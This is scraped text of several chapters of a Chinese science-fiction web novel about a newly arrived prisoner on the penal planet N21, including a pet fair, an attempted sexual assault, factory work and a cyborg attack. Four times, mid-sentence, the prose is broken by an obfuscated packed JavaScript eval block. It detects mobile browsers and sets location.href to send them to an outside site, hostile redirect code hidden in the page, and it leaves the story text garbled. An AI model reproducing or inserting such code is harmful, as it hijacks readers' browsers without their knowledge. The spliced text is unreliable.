路麦立即虚心求教,学会了开启屏幕的方法。这样一来,阅读终端上的文字就要方便许多。 她一眼就找到了电子兽的展区,在地图上设定锚点,导航路线自动生成。 从地图上的展区名称可以看出,除了电子兽和原始兽,还有一种被称为改造兽的大类。 一旁的胖子像个向导似的为她介绍起来:“我们私下里都说,宠物博览会其实是三股势力的交锋。你看,电子兽背后的利益集团是唐氏,改造兽则是生命研究协会的技术成果,而原始兽则是N21管理局从各处捕获并出售给服刑者的。” 对于此类带有政治意味的话题,初来乍到的路麦当然是听不懂的,她只知道N21管理局代表的就是这颗监狱星球的最高权力机构,至于唐氏和生命研究协会,那就完全是她认知之外的东西了。 相比之下,她倒是更在意电子兽、改造兽和原始兽之间的差别。 从手册对它们的简介来看,电子兽是融合了人工智能和仿生技术制造出来的伴侣宠物,原始兽是从自然界捕获的生物宠物,而改造兽则是在原始兽的基础上用基因技术制造出来的乱七八糟的动物——也许这东西契合了一些人的审美,反正路麦在看过例图之后就对这个大类敬而远之了。 到了电子兽展区,映入眼帘的就是无穷无尽的电子宠物,一只只都跟真的似的,不过比真货安静多了,全都乖乖地呆在格子柜的玻璃后面,当有人走近的时候,才会表现出互动反应。 “这些动物都在可饲养清单内,你看看有没有中意的。”胖子说。 现在看来,这个“可饲养清单”比想象中庞杂很多,包含了虫鱼鸟兽各个门类,小至蚂蚁,大至幼象,应有尽有,连虎鲸鲨鱼之类的大型海洋生物,都有体型调整版贩售。 这些电子兽的原型都是路麦认知中的地球生物。她当即想到这个世界应该是以地球为原点、人类向宇宙探索迈进迁居后生成的。 “养电子兽还有一个好处,就是饲主可以自行设定年龄和体型,一经设定,宠物就会一直维持购入时的模样,除非饲主后续再花钱更改。”胖子说,“最近猫科的打折力度很大,要不要来一只?” 路麦说:“我没积分。”胖子说:“对哦,你昨天才刚来。” 关于“积分”的内容,路麦昨天已经粗略地了解了一遍。服刑者虽然是相当于劳改犯一样的存在,但他们的劳动除了可以获取减刑之外,还能赚到积分,积分就相当于N21的货币,可供服刑者们在终端的积分商城中进行购物。 路麦转回身,指了指玻璃柜里的一只电子猫:“像这样的一只猫,新人干多久才能拿下?” 胖子算了算:“大概三个月吧,不过是打折后的价格。可是三个月之后,促销活动早就结束了,那就得按原价来算,九个月应该差不多。哎,你来的这个时间不太巧啊。” 除了打折的品类之外,其他电子兽的价格无论品类和大小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544250|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都在相似的区间,上下浮动往往代表着原料成本的区别,都可以折合成九个月的工钱。 路麦没有回应那只已经把爪子搭在玻璃门上,露出粉色肉垫的小猫,漠然地问道:“改造兽和原始兽都是什么价位?” 胖子说:“改造兽是最贵的,原始兽倒是便宜,但是考虑到后续还要一直购买饲料,生病还得花钱治疗,加起来还不如电子兽划算。” 路麦顿时觉得再在这里消磨时间也没意义,提议道:“还是先去给琪琪买东西吧。” 胖子问:“你不买吗?”路麦皱眉:“我没积分。” 去宠物用品区的路上,路麦打听了一下宠物嘉年华的事,似乎是三年才有一次的赛事,奖励相当诱人,没有饲主会错过这个机会,很多一开始不打算养宠物的人,往往也会在知道嘉年华的情况之后去搞一只宠物。比如路麦自己。 “你不觉得这个嘉年华其实才是真正的促销策略吗?把没需求的人都给整得有需求了。”路麦评价。 胖子不以为然:“这里都是积分交易,管理局没有通过促销盈利的动机,无论是宠物还是宠物嘉年华,利好的都是我们这些服刑者。” 路麦用看替资本家说话的无产阶级的眼神看了胖子一眼:“我觉得这里面肯定有阴谋。” 胖子问:“什么阴谋?”路麦说:“我不知道。我才刚来。”胖子说:“那就是没有。” 宠物用品区的人流量比宠物展区的还要大。有宠物的给他们的宠物买东西,没宠物的给他们将来的宠物买东西。人声鼎沸,热闹非凡。 路麦一想到发生在这里的交易完全不涉及真正的金钱,就觉得无比诡异。“搞这种活动难道不会把星球的财政搞亏空吗?” 现在轮到胖子露出看阶级敌人的眼神看路麦了:“没必要替管理局操心,他们拿着我们的劳动产出赚了不知道多少钱。” 原来是这样。路麦点点头,觉得一切又合理了起来。 “是毛刷,我得去看看。”胖子一眼就发现了自己的目标展位,凭借体型优势挤了过去。 路麦就没有这种buff,一下被落在人潮之中,和死猪皮一样的人造皮肤持续发生刮擦。她抬头张望了一圈,找到了公共厕所的标识,决定去那里解决一下生理需求。 卫生间的人流量少得可怕,女厕看不到队列,男厕看起来压根没人,看到它那门可罗雀的样子完全无法想象一墙之隔的主会场有多么人山人海。 很可能是因为半机械人在这里的人口中占据了不小的比例,而看到他们那中空的身体就知道他们可能不需要排泄。 路麦步履轻快地进了女厕。出来的时候手腕突然被人抓住,接着,被猛地一拉,脚底在瓷砖地面上一滑,一个遛弯,就进了隔壁男厕的大门。 抬头,看到的是一双不怀好意的眼睛。“你好,美丽的通奸犯小姐。” 路麦一下子从他手中挣脱出来:“去你爷爷的通奸犯!” 5. 正义之士 “敢做不要不敢认嘛。我们是同道中人。”那人调出自己的身份卡展示了一下,罪行那一栏赫然显示着玷污罪三个字。 好吧,亵渎和玷污姑且可以算作近义词,但既然被分列为两种不同的罪名,说明其中必然是有差别的。 路麦可不想和这种家伙成为同道中人。虽然不知道在星际法律上的定义,但她敢打赌,玷污肯定是比亵渎更加令人不齿的行径。 “在这种地方过日子很无趣的,我们可以做个伴,互相解决一下需求。”那人用肾亏的声音说着猥琐的话,用盯着猎物般的眼神打量着自己物色到的对象。 路麦到现在还没炸毛,不是因为素质高,而是她不想惹是生非。 被平白扣上通奸帽子最大的弊病其实不是变成别人的八卦素材,而是被这些变态盯上。 她还没忘记这里可是犯罪者的大本营,像她这种蒙冤入狱的是少数群体。 正对面的隔间里传出奇怪的声音,脆弱的门板被撞得砰砰响。 活了这么多年她还没见过真在公厕做这种事的人。今天可算是大开眼界了。 “我没有这个需要,你找别人吧。”路麦不动声色地向入口处挪动脚步,准备瞅准时机开溜。 那人手臂一伸,勾住路麦的肩膀,一下就把她顺了回来:“欲擒故纵?嘴上说着没有需求,在这里待上两天就知道滋味了。” 路麦冲着他下面抬腿就是一个膝袭,趁那人松手的时候像脱缰的猛犬一样爆冲起来,那人却一把抓住她的头发,用力往后拉。她脚底一滑,仰天倒在地上,视野里出现了一对充满贪婪之色的眼睛。 至于接下来要发生什么……路麦不怀疑那人情绪上头,能把她就地给办了。 那家伙骑在她身上,一只手将她的双腕拉过头顶,一只手伸向了她的裤腰。 腹部被那根火热的手指碰到的时候,周围的动静恍然间变成了重低音,空气也凝滞得可怕,一秒好像有十秒那么长。 砰。 一条腿狠狠踢向那人的脑袋,终结了刚才的慢镜头。 男人侧身倒地。路麦赶紧从那人身下逃脱,并向路见不平拔刀相助的正义之士致以崇高谢意。 “不用谢,我只是觉得碍眼。”正义之士说,“宠物博览会应该是一个充满和平友爱的地方。” 那声音充满磁性,音调低沉,音色却优雅清亮,让人觉得很酷,但又不会产生误会:那是一个女人的声音。 正义之士梳着干净纤细的低马尾,穿着竖条纹号服,弯腰将失去意识的色魔从地上提了起来。她就像拖着一只垃圾袋一样,拖着那家伙飘然走远。 路麦看着她脑后一晃一晃的马尾辫有些出神。 隔间的门不知何时停止了震动,下一秒,那扇门就被打开了,两个看起来已经和机器人没太大差别的家伙一前一后地走了出来,其中一个还在整理自己的衣服。 他们旁若无人地从路麦身旁经过,而路麦连口大气都不敢出。 真是惊人啊。即便身体已经被改造成了那种样子,还依然保留着原始的欲望吗? 这到底是技术太过先进,还是仍有改进余地? 愣了一小会儿,路麦揉了揉手腕,从地上爬起来,该干嘛干嘛去。 回到会场,胖子正抱着琪琪从人群中钻了出来:“你还好吧?” 路麦意识到自己的样子有点狼狈,用手指梳了一下头发:“遇上了一个色魔。”胖子说:“忘了提醒你,这地方秩序不太好,你要有心理准备。” 路麦整理了一下衣服,随后指了指已经走远的正义之士的背影:“你知道那个人是谁吗?” 胖子问:“你问哪个,男的还是女的?” 路麦说:“女的。” 胖子摇摇头:“我不清楚,大概不是住我们那一片的。那个男的我倒是知道,整天想找人和他上床,一个臭名昭著的家伙。你遇上的色魔就是他?” 路麦没说话,恋恋不舍地看着正义之士的身影消失在视野之中。 胖子又问:“你不会是弯的吧?” 路麦抽了他一下:“别瞎说,东西买好了没?” 博览会的场馆足足有六层,其中四层有休息区,可以借阅杂志,或者购买补充体力的营养液。服刑者们必须在场馆里呆足八个小时,否则不予离开,休息区的存在对胖子这种不想走太多路的人来说非常有必要。他在买完东西之后就直接带着路麦去歇着了,还很豪迈地请了她一支营养液。 路麦没有标明自己讨厌那种味道,只是将它收了起来以备不时之需。之后向胖子请教了一下这鬼地方的生存技巧,旁敲侧击地打听了一下这个世界的情况,期间收到了一条新犯人入境的推送,八个小时也就这么过去了。 “话说回来我觉得管理局的人也多少有点不正经。”路麦在过出口闸机的时候随口说了一句。 胖子问:“为什么?” 路麦说:“入睡提醒啊,没必要用‘亲爱的’这种词吧?怎么,难道是想让我们这些空虚寂寞的囚犯感受到家的温馨?” 胖子的表情显然有点困惑:“什么?” 路麦觉得有些无趣:“没什么……” 回到宿舍,路麦继续早上没有完成的工作,将床上用品更换一新。正忙着,终端收到新消息:“亲爱的,没事吧?放心,我会帮你教训那个家伙的。” 对话框里还能看到上一条消息:“亲爱的,该睡了。” 路麦感到一阵恶寒。一种被窥伺的恶寒。 ——这不是系统通知,是只发给她一个人的私聊消息。 发送消息的人知道白天发生在博览会场馆里的事,他或者她在现场,就在她附近? 是那个正义之士? 如果是倒好了。 她将对话框翻来覆去地看了好几遍。严格来说,这不能被称为对话框,因为没有进行对话的渠道,只能单方面地接受信息。 “你是谁?”她对着空气问道。 虽然这么做会让她看起来有点傻帽,但如果真的有人在全天候地监视着她呢? 她等了一会儿,再没有新的消息出现,但是空气中却响起一阵嗡鸣。那声音给人的感觉就像一只尖细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544251|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的钻头在大脑上打洞。 她对那种声音非常熟悉,熟悉到恍惚间以为自己并未离开原先的世界。如果放任那东西在房间里横行霸道的话,短时间内就可以和优质睡眠说再见了。 还是先解决最近的麻烦,再考虑长远的事吧。或者说她现在也没法计划更加长远的事,只能靠解决眼前的麻烦来缓解焦虑。 她转动视角,寻找目标,结果看到了一对红色的眼睛。 她愣住:不是蚊子?! 那东西居然不是蚊子。 ——至少不是她认知中的蚊子。 那对在空中快速晃动的红点仿佛在提示其所有者的残暴属性——就像很多游戏会让精锐怪物或是狂暴化的怪兽眼放红光一样。 路麦的脑海中迅速产生了几个想法。 其一,如果被这家伙叮上一口,有多少机会感染丧尸病毒。 其二,难道这就是发信人用来监视她的工具? 其三,不管是哪种可能,今天这屋里有我没它,有它没我。 其四,拍死它的时候,接触其尸体的皮肤是否会发生溃烂…… 红眼的蚊子漫无目的地在屋中飞行,不一会儿,停留在天花板上。其邪恶的模样终于在黯淡灯光的照耀下彻底暴露。 结构特征确实与蚊虫无异,但体型如同来自热带雨林的生灵。 更不用说那对血红的眼睛和体表上扭曲而诡异的花纹,让它看起来完全是恶魔的使徒。 路麦从书桌上抄起一本笔记本充作武器,像施展拔刀斩一样向敌人猛攻过去。 对手却先行一步,完美闪避攻击,还耀武扬威地从空中掠过,口中哼唱着不屑的小曲。 路麦气急败坏,像个青蛙一样上蹿下跳,半天也没碰到蚊子一条腿,反而被那小飞虫牵制着转移到了不利的战场——卫生间。 蚊子悠然地停在洗面台的水龙头上——它好像知道那是一个很难下手的位置。 这时候,一条黑影擦着路麦的眼角一晃而过,像闪电一道劈向水龙头。 掠食者成功捕获猎物。 它用两条毛茸茸的前肢抱住红眼,带着一脸无辜的表情咬掉了那只带着吸管的脑袋。 红色的昆虫眼球在它的螯肢下方晃来晃去,如两粒鲜血。 掠食者是一只蜘蛛。 比起仿佛变异过的红眼蚊子,它看上去完全像是原产自地球的平凡生灵,那种总是隐匿在家庭的角落,像大型猫科动物一样靠爆发力捕猎的生物。它们不结网,只是默默吃虫。 路麦对此类生物总是采取敬而远之的态度,此刻她依然奉行此等宗旨,安静地退出了这片围猎场。 梦里又来到那片模糊的沙滩,沙滩上没有别人,只有被海水冲上来的仿佛打了马赛克的贝类。 路麦掬了一捧沙子,发现自己的双手也成了一片屎黄色的马赛克。 莫非那家伙是知道她今天没有洗澡,所以才避而不见的吗? 沙子从指缝间漏完了,手也恢复成了正常的样子。 没有美男的沙滩,竟然丑得如此不堪入目。 6. 胳膊 * N21管理局的办公大楼还亮着灯。 编号为N21的星球以其“监狱”职能出名,在大多数普通公民的眼中,即是远离正常社会的流放之地般的存在,因此也被称为流放星。 而管理局则是N21的最高权力机构。 疑惑和一群被剥夺政治权利的服刑犯谈“权力”是否有些多余的人,大多都没有意识到N21的真正意义。 这固然是一颗被秩序社会抛弃的灰暗星球,但也是一个拥有着上亿人口的、能够独立运作的巨型集团,超过九成九的人口是在秩序社会中犯下种种罪行的犯罪者,在这里被一种单纯且直白的减刑体系束缚着。 他们在这里扮演的角色是无法违抗规则的劳改犯。为了早日重返社会,他们掌握了加工零件、维修机械、医疗、战斗、驾驶等种种技能。最重要的是,他们人数众多,而且(不得不)听话。 只要管理局下达指令,他们可以随时化身高产的工人,构建起无数条重工流水线,也可以化身战士,集结成最残暴而又服从指挥的的军队。 一旦管理局的最高长官头脑发热,打算告别那个健全而复杂的秩序社会,N21便可以当即化作一台战争机器,而攻下几颗防备羸弱的小星球对它来说毫无难度。 管理局的权力是有实际意义的,现在能够理解这一点了吧? 有价值的东西往往容易遭到觊觎,这也是N21逃不掉的命运。 现在,它新上任的狱长就面临着这一问题。 新旧权力交接时产生的短暂真空,以及新任权力者的过分年轻,都成了觊觎者不惜冒险犯进也想要抓住的漏洞。 卫琅用手指敲打着文件上的一处数据,虽然各类关联文件都证明这个数字没有纰漏,但她那颗机敏的大脑却认为其中有一些问题——她上次在这里看到的似乎不是这个数字。 但没有证据能证明这一点,所有文件都滴水不漏,与这串数字严丝合缝地吻合,她不禁怀疑是不是自己的记忆出现了偏差。 确认这一点很重要。 因为如果不是她记错,那就意味着有人的触手已经在不知不觉中深入到了N21的根系之中,以至于能够调用并篡改如此众多的文件。 这种镜中花水中月一样的危机最让人头疼,明明知道它存在,却怎么也抓不到线索,于是整天都要提着心吊着胆,警惕暗潮汹涌掀成惊涛骇浪。 自从发现这种疑似的偏差以来,秀发就开始成群结队地离开她的脑壳,扎头发的时候她发现马尾已经活活细了一圈。 所以她才不想接手这个职位的啊…… 相比起在任上疑神疑鬼,偶尔到下边去教训几个不听话的犯人都成了她的调剂。 比如今天她就在博览会现场抓获了性骚扰者五人、扒手八人、故意伤人者十三人…… 她的理想就是当一个维持社区秩序、被社群中的大家深深信赖着的片警,怎么结果就阴差阳错地坐到了这个麻烦位置上呢! 左右想不出个结果,她在内部通讯软件的界面上打了一串字:“派人盯好本月进来的新人。” 过了一会儿,又把这行字删了个干净。 如果N21真的已经被外部势力渗透,那不光是服刑者中存在卧底,管理员的队伍肯定也已经不纯洁了,这条指示发下去无异于打草惊蛇。 该怎么办呢?难道她要自己去盯着那几十上百号人,去发现那些薛定谔的疑点吗? 她可真希望吹一口气就能把自己掉的那些头发变成小人那。 叹了几口气,拉了一张六月以来新进服刑者的名单。 视线落到一行备注上:该服刑者体内有唐氏研究所的基因技术痕迹。 唐氏啊……有点可疑。 视线左移: 服刑者编号:OA7W 剩余刑期:1000000年 罪行:亵渎罪 屏幕上跳出一个对话框:“接收到新消息,是否查看?” 她点开。 “报告长官,4号禁闭室的服刑者突然死亡。” 头又痛了起来。 她一手揉起睛明穴,一手揉起肚子。4号禁闭室,4号禁闭室关的是哪个来着? 哦,是那个打算在厕所里实施性侵的家伙。哎,该说罪不至死还是罪有应得呢…… 好像有哪里不对。 总觉得当时的那个受害者好像有点眼熟啊。 很快,她就知道这种既视感从何而来。眼前的名单上,OA7W边上的照片里,赫然印着与那位受害者相同的脸。 “死亡原因?”她将心里的烦躁按捺住,在对话框里键入。 “好像是被某种毒虫蛰死的。” 能毒死人的虫子……在这个星球上真的存在吗? * 上午五点,终端准时发出警报,醒来,洗漱——没有在卫生间里发现蜘蛛,确认安全。 路麦全程盯着牙刷的末端,避免视线落到镜子里。直到洗完脸梳理头发的时候,她才快速瞥了几眼。 镜子里的美人正用不屑的眼神看着她。 看来要习惯这张脸还得花上一点时间。 回到卧室,开始挑选工作。 面板上的很多选项已经变灰,一些是因为人数已满,另一些则是因为没有达到要求。 那些人满为患的大多是减刑效率不错的工作,基础减刑就有三百一天,当然有很多人抢着去干。 胖子居然没有提醒她好工作是需要抢的,否则她才不会等到刷完牙才来挑别人挑剩的。 翻动列表,倒是找到了一个基础减刑有五百一天,而且没有限制条件,也没有报满的项目。 路麦没有心急地选上。用脚趾头想想都知道,这种工作绝对不是什么美差,恐怕危险系数很高。要是为了快点减刑而丢了小命,那也太不划算了。 她最终在诸多含义不明的工作中,选择了看起来最不容易出现理解偏差的“拧螺丝”。 确认工作内容后,门上的小窗自动打开,状似口服液的小瓶从窗口落下。 “房间号OA7W,早饭已送达。” 终端的新闻推送模块已经开放,模块内有滚动字幕播放N21内部各种新鲜出炉的情报。 路麦一边吮吸着让人作呕的早餐,一边浏览新闻。 比如O区住宅地出现脱离管制的服刑者,该服刑者精神状态不稳定,请附近居民外出时多加小心云云…… 再比最新入住N21的几名服刑者,有犯了经济罪的年轻女性,有犯了诈骗罪的中年男性…… 六点整,门禁自动解除。 路麦离开住处,跟着导航,走了大约二十分钟,才在灰扑扑的建筑群中找到了那家“螺丝工厂”。 顺着人流来到工厂入口,一名工作人员扫描了她的终端。滴的一声,终端的面板显示出一串新的代码,下面有一行小字提醒: 请前往与代码对应的工位。 路麦在这兵马俑坑般的工厂中找到了终端指示的位置,位于流水线上的一个小隔间,刚好可以坐一个人。 落座之后,面前的桌板上写有详细的操作内容,包含待处理零件通过履带被运送到她面前至离开这段时间中所要做的全部工作,每个步骤都有清晰得令人咋舌的图解。 分工明确,操作明确,零经验也能即刻上手,这就是流水线被发明出来的意义。 不计其数的工位逐渐被依次入场的服刑者全部填满。 路麦边上的工位坐着一个左肩多长了一条手臂的畸形人,这种畸形人她在博览会的会场上也见到过好几个,胖子对他们表现出一种不屑的态度,导致她没法多问,只能把胖子的行为归结为对残障人士的歧视。 对成长于和谐环境的社会主义接班人路麦来说,用异样的眼光去看残疾人肯定是不对的,但内心的恐惧到底是一种难以控制的情感。那些人和肢体被仿生材料替代的半机械人一样,明明仍是人类,却有一种类人而非人之物的气质,不可避免地让人产生恐怖谷效应。 不用指望三条手臂的人干活更有效率,因为那条多出来的手臂并不具备“手臂”的功能,更像是长在身上的一块巨大肉芽。或许那就是一块肉芽。 路麦没敢仔细看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544252|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用余光瞄了一眼,然后一直紧紧盯着面前的操作说明,强迫自己目不斜视。 七点整,工厂内的广播发出指令:工作开始。 面前的履带应声而动,大约三分钟后,第一份零件抵达路麦的工位。 一条手臂。 一条仿真的手臂。路上那些皮肤冰冷的半机械人用的可能就是这种手臂。 她按照图解,掀起对应位置的皮肤,依次拧上螺丝,然后再将那块皮肤盖好。 确实是逼真的皮肤触感。 手腕部位的皮肤下,甚至埋了从表面可见的人造血管。不知道都是用什么材料做出来的。 明明是拧螺丝的工作,却拧出了肢解一样的恶感。 恶心的感觉随着工作熟练度的提高而逐渐消退。 熟能生巧的结果就是:大脑越来越空,越来越困。 就在路麦即将遁入梦乡之时,一阵流窜全身的刺痛将睡意迅速驱散。心脏像被一只手紧紧揪住般疼痛。 路麦以为自己要猝死了,不过很快就发现其实是被电击了一下。 如此循环了四个钟头,进入午餐时间。 随着履带送来的不再是零件,而是一支营养液。 等到履带完全停止运动时,广播发出指示:“请各位服刑者领取午餐。餐后有三十分钟休息时间,请大家养精蓄锐,为下午的工作做好准备。” 下午的工作时间依然是四个小时。 路麦一直在犯困和被电醒的流程中循环往复,工作结束时整个人已经外焦里嫩。 以这个世界的科技水平,如此枯燥刻板的工作竟然还没有被机器人占领,简直匪夷所思。 服刑犯还真是价格低廉的劳动力。 在广播的指示下,所有服刑者依次离开工厂,通过出口闸机的时候,终端震动了一下,身份卡上的剩余刑期发生了变化,同时底下新增了“积分”的项目。 紧接着又是一条新消息:“亲爱的,辛苦了,赶紧回宿舍休息吧。” 路麦:“……” 路麦是个小年轻。虽然已经开始接受社会的毒打,但仍处于尚未向现实低头的阶段,总会生出“不服”的心态,以及衍生出的“不听劝”的脾气,除非她已经撞得头破血流了还没把南墙撞开,不然,哪怕她和南墙同归于尽,她都不算自己输。 从前面对上司或长辈的规劝,路麦都是不到黄河心不死的态度,如今在可疑人物的温馨提示面前,她更加没有“听劝”的道理。 可疑人物让她赶紧回去,那她就偏要在外面转转了。 虽然N21的性质是监狱,但也没有完全剥夺其居民的人身自由,在工作和门禁时间之外,服刑者每天还是有那么几个小时是可以用来自由活动的。 门禁从晚上九点开始到次日早上六点结束,一小时通勤,七点开始工作,下午四点下班,中间有一个小时的午餐及午休时间,而从下午四点到晚上九点中间的五个小时,就是服刑者们的自由活动时间。 听起来相当人性化。 路麦决定趁这段时间先熟悉一下住所周围的环境。 她沿着本片区那一长排名为独房实为牢房的建筑向前走,在排屋的尽头处意外发现了一大片长势喜人的花丛。 应该是某一类因为无人打理而大肆泛滥的杂草。 只是一旦开了花,连杂草都会变得赏心悦目。 绕过花丛,继续前进。 前方是一片废弃建筑群,围墙上残留着“某某生物研发”之类的字样,看起来像是已经衰败的生物科技产业园。 路麦原本只想在外面看看,但当视线穿过那些生锈的栅栏后,顿时被园区内部的什么东西吸引了注意力。 这片园区不知道被荒废了多久,硬化过的路面已被顽强的杂草钻得千疮百孔,就在一丛茂密的杂草中,有什么东西正在晃动,连带着一整片草丛都摇了起来。 那是一条胳膊。 见鬼。今天好像是和胳膊有着孽缘的一天。 就像是陷入泥沼的人正在进行最后的挣扎,那条胳膊无序地晃动着,手指一张一合,想要抓住点什么。 7. 特殊减刑 热血青年路麦不假思索地穿过了锈坏的园区大门,向那片荒草丛跑去。 跑近了,才意识到不对:这里并没有什么泥沼,自然也不会有什么陷进泥沼的受害者。 几乎一人高的杂草丛中,一个人正压坐在另一个人身上,手口并用地撕咬着那个人的胳膊。 不对。 被压着的并不是一个人,而是一根靶子,就像插糖葫芦的草靶子一样。只是那上面插着的不是糖葫芦,而是一条条手臂。 还是不对。 那些手臂不是插在上面的,而是长在上面的。所以那个人又啃又扯,也难以将那些手臂弄下来。 那画面有够惊悚的,实在不像是现实世界能够发生的事。 路麦站在原地,几乎忘了呼吸。 她知道自己最好趁着还没被发现赶紧离开,可是双腿没有按照大脑的一致展开活动,它们正忙着发抖。接着,抖动停止了,它们又不争气地瘫软下来。 路麦咚地跪倒在了地上。 正在实施兽行的人类听到身后的动静,顿了一下,随即从草丛中站了起来,露出了胸腔以下空洞的身体。 那是一个缺了一条胳膊的半机械人。 他看着路麦——准确地说是盯着路麦的左臂——没有表情的脸上却突然浮现出饥渴的神情。 路麦预感大事不妙,挣扎了几次,终于站了起来,踉踉跄跄地向园区大门跑去。 半机械人迈开两条仿生的人工腿,那种人造肢体发挥出了不可思议的协调性和爆发力,三两步就飞跃了十数米的距离,带着那残缺不全的躯体泰山压顶。 路麦被扑倒在地,脑瓜被震得嗡嗡作响。 半机械人用他仅剩的右臂抓住路麦的左臂,用力扯动。 路麦的腹部被压住了,左肩传来碎骨般的疼痛。好在右手还能自由活动。于是她使出浑身力气,抡起拳头向半机械人的头部捶去。 喀拉一声。 物体被打碎的声音。 路麦意识到自己的力气比想象中大很多。哪怕人造的金属脑壳再脆弱,也不是一拳头就能随便打碎的东西,而她一下就打碎了半机械人的脑袋。 只是对手的力量同样不容小觑。而且他占据着有利位置。 残暴的半机械人没了半边脑袋,形象愈发可怖。他没有倒下,他还能行动。 路麦惊恐地看到没了半个脑袋的机械人的右眼迸发出不可遏制的怒火。 ——这个半机械人,几乎已经不能用半机械人来称呼了。他只剩下右半边脑袋是生体,很难再讨论他是否还留有人类的感情和理智。 头部遭受的攻击并未让他的运动神经受到影响。他仍执着于卸下路麦的手臂。 姑且不说这能不能够实现,看起来他是想把抢来的手臂安到自己身上。 路麦一边尖叫一边挣扎。在博览会上被那个变态色魔压制住的时候,她都没有像现在这样害怕。此时此刻,她确实感受到自己的性命遭受着威胁。 半机械人松开了她的手臂,一把按住她的脑袋,就像为了复仇而要把她的半边脑袋也给捏爆一样。 路麦的嘴被他那冰冷的手掌堵住了,尖叫声胎死腹中。 她呜呜地叫着,一边用重获自由的双手紧紧抓住半机械人的手腕。 她会死吗?在一次手术失败之后,再经历一次活体肢解? 大脑晕乎乎的,乱糟糟的。 好像有什么东西在她的大脑皮层上穿行一般。 朦胧中,她从半机械人的指缝之间,看到一粒黑色的影子沿着他的手臂,跳上了他的肩膀、脖子、耳朵——最后跳到了那裸露在外的脑部回路中。 再然后,压制着她的那股力量突然消失了。 半机械人像是被按下了开关的机器一样停止了运作。 继而失去平衡,倒在一旁的草丛里。 路麦立刻从他身下滚了出来。这次是真正的劫后余生。 她没有力气立刻离开现场,滚了几圈之后就躺在地上,喘着粗气,等待心跳恢复正常频率。 直到身旁那具机械又传来一阵动静,她才惊恐万状地从地上弹了起来。 半机械人仍倒在地上,机械的部分已经无法动弹,但那只活着的右眼正死死地盯着她。 路麦注意到有什么东西从他那破碎的右半头颅中跳了出来。那东西优雅地落在半机械人的鼻尖,观察着四周的情况。 是那只捕获了红眼蚊虫的八条腿的英勇猎手。 路麦觉得一瞬间从脑中浮现出来的那个想法不太真实,可既然连灵魂转换和异世界穿越这种事情都已经切实发生在她的身上,就没有什么事情能真正算得上离谱了。她想到的正是:这只小怪物救了她一命。 她不知道蜘蛛是如何理解机械人的大脑结构的,又是如何破坏其中的关键部位的,但她目睹的画面让她自然产生了这样的联想。 不然要如何解释这一切? 十目相对,路麦突然发现(这只)蜘蛛长得并不可怕。 它的身体覆盖着细密的茸毛。脸部下方长着一对粗而短的螯肢,像是挂在脖子上的一对绒球。虽然八只眼睛听起来骇人,但能够被一眼辨认出来的只有前方一对又黑又圆的主眼。 它似乎正注视着她,神情还相当认真。 就在这时,一阵脚步声由远及近。两名身穿警卫制服的工作人员从天而降般出现在这片废弃园区中。 其中一人向对讲机汇报:“发现OG2K。” 对讲机里传来指令:“回收。” 另一人向路麦询问情况,并不由分说地抓起她的左腕,通过终端进行身份验证,并对她提出尽快离开的要求。 他们之间再没有发生任何对话。 两名警卫默契地合力搬运半机械人的身体,顺带捡走了那根让人发毛的手臂靶子。 那根靶子让人觉得眼熟,回忆半晌后,路麦意识到眼熟的原因是她见到过的那些畸形人。 这些靶子上的手臂和那些人身上多余的肢体看起来十分相似。 在警卫搬着半机械人经过路麦身旁时,蜘蛛从半机械人的脸上跳了下来,精准地跳到了路麦的左肩。 路麦条件反射地耸了一下肩膀,但这次并没有僵直太久。她默许了蜘蛛的搭乘。 回到独房,路麦仍有些不在状态,在狭小的房间里来回转了好几圈,才终于坐到床上,查看起了终端。 早上的那条滚动新闻再次出现: O区住宅地出现脱离管制的服刑者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544253|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,该服刑者精神状态不稳定,请附近居民外出时多加小心。 之后是一条追加新闻: 该服刑者已被捕获,O区解除户外活动风险警报。 紧随其后,是那个诡异的消息框:“亲爱的,如果听我的话,你就不会受罪了。” 路麦啪地关掉消息框。 